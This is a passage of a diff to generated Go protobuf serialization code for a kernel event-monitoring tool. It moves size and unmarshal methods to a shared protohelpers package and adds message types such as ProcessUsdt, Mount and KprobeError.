- n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Type) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Config != 0 { - n += 1 + sov(uint64(m.Config)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Config)) } if m.ProbeOffset != 0 { - n += 1 + sov(uint64(m.ProbeOffset)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.ProbeOffset)) } n += len(m.unknownFields) return n @@ -5423,20 +5621,34 @@ func (m *KprobeBpfMap) SizeVT() (n int) { _ = l l = len(m.MapType) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.KeySize != 0 { - n += 1 + sov(uint64(m.KeySize)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.KeySize)) } if m.ValueSize != 0 { - n += 1 + sov(uint64(m.ValueSize)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.ValueSize)) } if m.MaxEntries != 0 { - n += 1 + sov(uint64(m.MaxEntries)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.MaxEntries)) } l = len(m.MapName) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *KprobeError) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Message) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5449,11 +5661,11 @@ func (m *SyscallId) SizeVT() (n int) { var l int _ = l if m.Id != 0 { - n += 1 + sov(uint64(m.Id)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Id)) } l = len(m.Abi) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5470,7 +5682,7 @@ func (m *KprobeArgument) SizeVT() (n int) { } l = len(m.Label) if l > 0 { - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -5483,7 +5695,7 @@ func (m *KprobeArgument_StringArg) SizeVT() (n int) { var l int _ = l l = len(m.StringArg) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) return n } func (m *KprobeArgument_IntArg) SizeVT() (n int) { @@ -5492,7 +5704,7 @@ func (m *KprobeArgument_IntArg) SizeVT() (n int) { } var l int _ = l - n += 1 + sov(uint64(m.IntArg)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.IntArg)) return n } func (m *KprobeArgument_SkbArg) SizeVT() (n int) { @@ -5503,7 +5715,9 @@ func (m *KprobeArgument_SkbArg) SizeVT() (n int) { _ = l if m.SkbArg != nil { l = m.SkbArg.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -5513,7 +5727,7 @@ func (m *KprobeArgument_SizeArg) SizeVT() (n int) { } var l int _ = l - n += 1 + sov(uint64(m.SizeArg)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.SizeArg)) return n } func (m *KprobeArgument_BytesArg) SizeVT() (n int) { @@ -5523,7 +5737,7 @@ func (m *KprobeArgument_BytesArg) SizeVT() (n int) { var l int _ = l l = len(m.BytesArg) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) return n } func (m *KprobeArgument_PathArg) SizeVT() (n int) { @@ -5534,7 +5748,9 @@ func (m *KprobeArgument_PathArg) SizeVT() (n int) { _ = l if m.PathArg != nil { l = m.PathArg.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -5546,7 +5762,9 @@ func (m *KprobeArgument_FileArg) SizeVT() (n int) { _ = l if m.FileArg != nil { l = m.FileArg.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -5558,7 +5776,9 @@ func (m *KprobeArgument_TruncatedBytesArg) SizeVT() (n int) { _ = l if m.TruncatedBytesArg != nil { l = m.TruncatedBytesArg.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -5570,7 +5790,9 @@ func (m *KprobeArgument_SockArg) SizeVT() (n int) { _ = l if m.SockArg != nil { l = m.SockArg.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -5582,7 +5804,9 @@ func (m *KprobeArgument_CredArg) SizeVT() (n int) { _ = l if m.CredArg != nil { l = m.CredArg.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -5592,7 +5816,7 @@ func (m *KprobeArgument_LongArg) SizeVT() (n int) { } var l int _ = l - n += 1 + sov(uint64(m.LongArg)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.LongArg)) return n } func (m *KprobeArgument_BpfAttrArg) SizeVT() (n int) { @@ -5603,7 +5827,9 @@ func (m *KprobeArgument_BpfAttrArg) SizeVT() (n int) { _ = l if m.BpfAttrArg != nil { l = m.BpfAttrArg.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -5615,7 +5841,9 @@ func (m *KprobeArgument_PerfEventArg) SizeVT() (n int) { _ = l if m.PerfEventArg != nil { l = m.PerfEventArg.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -5627,7 +5855,9 @@ func (m *KprobeArgument_BpfMapArg) SizeVT() (n int) { _ = l if m.BpfMapArg != nil { l = m.BpfMapArg.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -5637,7 +5867,7 @@ func (m *KprobeArgument_UintArg) SizeVT() (n int) { } var l int _ = l - n += 1 + sov(uint64(m.UintArg)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.UintArg)) return n } func (m *KprobeArgument_UserNamespaceArg) SizeVT() (n int) { @@ -5648,7 +5878,9 @@ func (m *KprobeArgument_UserNamespaceArg) SizeVT() (n int) { _ = l if m.UserNamespaceArg != nil { l = m.UserNamespaceArg.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -5660,7 +5892,9 @@ func (m *KprobeArgument_CapabilityArg) SizeVT() (n int) { _ = l if m.CapabilityArg != nil { l = m.CapabilityArg.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -5672,7 +5906,9 @@ func (m *KprobeArgument_ProcessCredentialsArg) SizeVT() (n int) { _ = l if m.ProcessCredentialsArg != nil { l = m.ProcessCredentialsArg.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -5684,7 +5920,9 @@ func (m *KprobeArgument_UserNsArg) SizeVT() (n int) { _ = l if m.UserNsArg != nil { l = m.UserNsArg.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -5696,7 +5934,9 @@ func (m *KprobeArgument_ModuleArg) SizeVT() (n int) { _ = l if m.ModuleArg != nil { l = m.ModuleArg.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -5707,7 +5947,7 @@ func (m *KprobeArgument_KernelCapTArg) SizeVT() (n int) { var l int _ = l l = len(m.KernelCapTArg) - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) return n } func (m *KprobeArgument_CapInheritableArg) SizeVT() (n int) { @@ -5717,7 +5957,7 @@ func (m *KprobeArgument_CapInheritableArg) SizeVT() (n int) { var l int _ = l l = len(m.CapInheritableArg) - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) return n } func (m *KprobeArgument_CapPermittedArg) SizeVT() (n int) { @@ -5727,7 +5967,7 @@ func (m *KprobeArgument_CapPermittedArg) SizeVT() (n int) { var l int _ = l l = len(m.CapPermittedArg) - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) return n } func (m *KprobeArgument_CapEffectiveArg) SizeVT() (n int) { @@ -5737,7 +5977,7 @@ func (m *KprobeArgument_CapEffectiveArg) SizeVT() (n int) { var l int _ = l l = len(m.CapEffectiveArg) - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) return n } func (m *KprobeArgument_LinuxBinprmArg) SizeVT() (n int) { @@ -5748,7 +5988,9 @@ func (m *KprobeArgument_LinuxBinprmArg) SizeVT() (n int) { _ = l if m.LinuxBinprmArg != nil { l = m.LinuxBinprmArg.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -5760,7 +6002,9 @@ func (m *KprobeArgument_NetDevArg) SizeVT() (n int) { _ = l if m.NetDevArg != nil { l = m.NetDevArg.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -5770,7 +6014,7 @@ func (m *KprobeArgument_BpfCmdArg) SizeVT() (n int) { } var l int _ = l - n += 2 + sov(uint64(m.BpfCmdArg)) + n += 2 + protohelpers.SizeOfVarint(uint64(m.BpfCmdArg)) return n } func (m *KprobeArgument_SyscallId) SizeVT() (n int) { @@ -5781,7 +6025,9 @@ func (m *KprobeArgument_SyscallId) SizeVT() (n int) { _ = l if m.SyscallId != nil { l = m.SyscallId.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -5793,7 +6039,51 @@ func (m *KprobeArgument_SockaddrArg) SizeVT() (n int) { _ = l if m.SockaddrArg != nil { l = m.SockaddrArg.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 + } + return n +} +func (m *KprobeArgument_BpfProgArg) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.BpfProgArg != nil { + l = m.BpfProgArg.SizeVT() + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 + } + return n +} +func (m *KprobeArgument_ErrorArg) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.ErrorArg != nil { + l = m.ErrorArg.SizeVT() + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 + } + return n +} +func (m *KprobeArgument_SockaddrunArg) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.SockaddrunArg != nil { + l = m.SockaddrunArg.SizeVT() + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -5805,62 +6095,68 @@ func (m *ProcessKprobe) SizeVT() (n int) { _ = l if m.Process != nil { l = m.Process.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Parent != nil { l = m.Parent.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.FunctionName) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Args) > 0 { for _, e := range m.Args { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if m.Return != nil { l = m.Return.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Action != 0 { - n += 1 + sov(uint64(m.Action)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Action)) } if len(m.KernelStackTrace) > 0 { for _, e := range m.KernelStackTrace { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } l = len(m.PolicyName) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.ReturnAction != 0 { - n += 1 + sov(uint64(m.ReturnAction)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.ReturnAction)) } l = len(m.Message) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Tags) > 0 { for _, s := range m.Tags { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.UserStackTrace) > 0 { for _, e := range m.UserStackTrace { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.Ancestors) > 0 { for _, e := range m.Ancestors { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if len(m.Data) > 0 { + for _, e := range m.Data { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -5875,47 +6171,47 @@ func (m *ProcessTracepoint) SizeVT() (n int) { _ = l if m.Process != nil { l = m.Process.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Parent != nil { l = m.Parent.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Subsys) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Event) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Args) > 0 { for _, e := range m.Args { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } l = len(m.PolicyName) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Action != 0 { - n += 1 + sov(uint64(m.Action)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Action)) } l = len(m.Message) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Tags) > 0 { for _, s := range m.Tags { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.Ancestors) > 0 { for _, e := range m.Ancestors { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -5930,57 +6226,66 @@ func (m *ProcessUprobe) SizeVT() (n int) { _ = l if m.Process != nil { l = m.Process.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Parent != nil { l = m.Parent.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Path) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Symbol) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.PolicyName) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Message) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Args) > 0 { for _, e := range m.Args { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.Tags) > 0 { for _, s := range m.Tags { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.Ancestors) > 0 { for _, e := range m.Ancestors { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if m.Offset != 0 { - n += 1 + sov(uint64(m.Offset)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Offset)) } if m.RefCtrOffset != 0 { - n += 1 + sov(uint64(m.RefCtrOffset)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.RefCtrOffset)) + } + if m.Action != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Action)) + } + if len(m.Data) > 0 { + for _, e := range m.Data { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } } n += len(m.unknownFields) return n } -func (m *ProcessLsm) SizeVT() (n int) { +func (m *ProcessUsdt) SizeVT() (n int) { if m == nil { return 0 } @@ -5988,79 +6293,136 @@ func (m *ProcessLsm) SizeVT() (n int) { _ = l if m.Process != nil { l = m.Process.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Parent != nil { l = m.Parent.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } - l = len(m.FunctionName) + l = len(m.Path) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Provider) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.PolicyName) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Message) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Args) > 0 { for _, e := range m.Args { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } - if m.Action != 0 { - n += 1 + sov(uint64(m.Action)) - } if len(m.Tags) > 0 { for _, s := range m.Tags { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.Ancestors) > 0 { for _, e := range m.Ancestors { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } - l = len(m.ImaHash) + if m.Action != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Action)) + } + l = len(m.Flags) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n } -func (m *KernelModule) SizeVT() (n int) { +func (m *ProcessLsm) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - l = len(m.Name) - if l > 0 { - n += 1 + l + sov(uint64(l)) + if m.Process != nil { + l = m.Process.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } - if m.SignatureOk != nil { - if size, ok := interface{}(m.SignatureOk).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.SignatureOk) - } - n += 1 + l + sov(uint64(l)) + if m.Parent != nil { + l = m.Parent.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } - if len(m.Tainted) > 0 { - l = 0 - for _, e := range m.Tainted { - l += sov(uint64(e)) - } - n += 1 + sov(uint64(l)) + l + l = len(m.FunctionName) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.PolicyName) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Message) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.Args) > 0 { + for _, e := range m.Args { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if m.Action != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Action)) + } + if len(m.Tags) > 0 { + for _, s := range m.Tags { + l = len(s) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if len(m.Ancestors) > 0 { + for _, e := range m.Ancestors { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + l = len(m.ImaHash) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *KernelModule) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.SignatureOk != nil { + l = (*wrapperspb.BoolValue)(m.SignatureOk).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.Tainted) > 0 { + l = 0 + for _, e := range m.Tainted { + l += protohelpers.SizeOfVarint(uint64(e)) + } + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } n += len(m.unknownFields) return n @@ -6073,16 +6435,16 @@ func (m *Test) SizeVT() (n int) { var l int _ = l if m.Arg0 != 0 { - n += 1 + sov(uint64(m.Arg0)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Arg0)) } if m.Arg1 != 0 { - n += 1 + sov(uint64(m.Arg1)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Arg1)) } if m.Arg2 != 0 { - n += 1 + sov(uint64(m.Arg2)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Arg2)) } if m.Arg3 != 0 { - n += 1 + sov(uint64(m.Arg3)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Arg3)) } n += len(m.unknownFields) return n @@ -6097,9 +6459,9 @@ func (m *GetHealthStatusRequest) SizeVT() (n int) { if len(m.EventSet) > 0 { l = 0 for _, e := range m.EventSet { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } n += len(m.unknownFields) return n @@ -6112,14 +6474,14 @@ func (m *HealthStatus) SizeVT() (n int) { var l int _ = l if m.Event != 0 { - n += 1 + sov(uint64(m.Event)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Event)) } if m.Status != 0 { - n += 1 + sov(uint64(m.Status)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Status)) } l = len(m.Details) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -6134,7 +6496,7 @@ func (m *GetHealthStatusResponse) SizeVT() (n int) { if len(m.HealthStatus) > 0 { for _, e := range m.HealthStatus { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -6149,15 +6511,25 @@ func (m *ProcessLoader) SizeVT() (n int) { _ = l if m.Process != nil { l = m.Process.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Path) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Buildid) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.Parent != nil { + l = m.Parent.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.Ancestors) > 0 { + for _, e := range m.Ancestors { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } } n += len(m.unknownFields) return n @@ -6184,7 +6556,9 @@ func (m *RuntimeHookRequest_CreateContainer) SizeVT() (n int) { _ = l if m.CreateContainer != nil { l = m.CreateContainer.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -6198,6 +6572,34 @@ func (m *RuntimeHookResponse) SizeVT() (n int) { return n } +func (m *Mount) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Destination) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Type) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Source) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.Options) > 0 { + for _, s := range m.Options { + l = len(s) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + func (m *CreateContainer) SizeVT() (n int) { if m == nil { return 0 @@ -6206,43 +6608,49 @@ func (m *CreateContainer) SizeVT() (n int) { _ = l l = len(m.CgroupsPath) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.RootDir) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Annotations) > 0 { for k, v := range m.Annotations { _ = k _ = v - mapEntrySize := 1 + len(k) + sov(uint64(len(k))) + 1 + len(v) + sov(uint64(len(v))) - n += mapEntrySize + 1 + sov(uint64(mapEntrySize)) + mapEntrySize := 1 + len(k) + protohelpers.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protohelpers.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protohelpers.SizeOfVarint(uint64(mapEntrySize)) } } l = len(m.ContainerName) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.ContainerID) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.PodName) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.PodUID) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.PodNamespace) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.ContainerImage) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.Mounts) > 0 { + for _, e := range m.Mounts { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } } n += len(m.unknownFields) return n @@ -6255,29 +6663,23 @@ func (m *StackTraceEntry) SizeVT() (n int) { var l int _ = l if m.Address != 0 { - n += 1 + sov(uint64(m.Address)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Address)) } if m.Offset != 0 { - n += 1 + sov(uint64(m.Offset)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Offset)) } l = len(m.Symbol) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Module) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n } -func sov(x uint64) (n int) { - return (bits.Len64(x|1) + 6) / 7 -} -func soz(x uint64) (n int) { - return sov(uint64((x << 1) ^ uint64((int64(x) >> 63)))) -} func (m *Image) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 @@ -6286,7 +6688,7 @@ func (m *Image) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6314,7 +6716,7 @@ func (m *Image) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6328,11 +6730,11 @@ func (m *Image) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6346,7 +6748,7 @@ func (m *Image) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -6360,11 +6762,11 @@ func (m *Image) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -6373,12 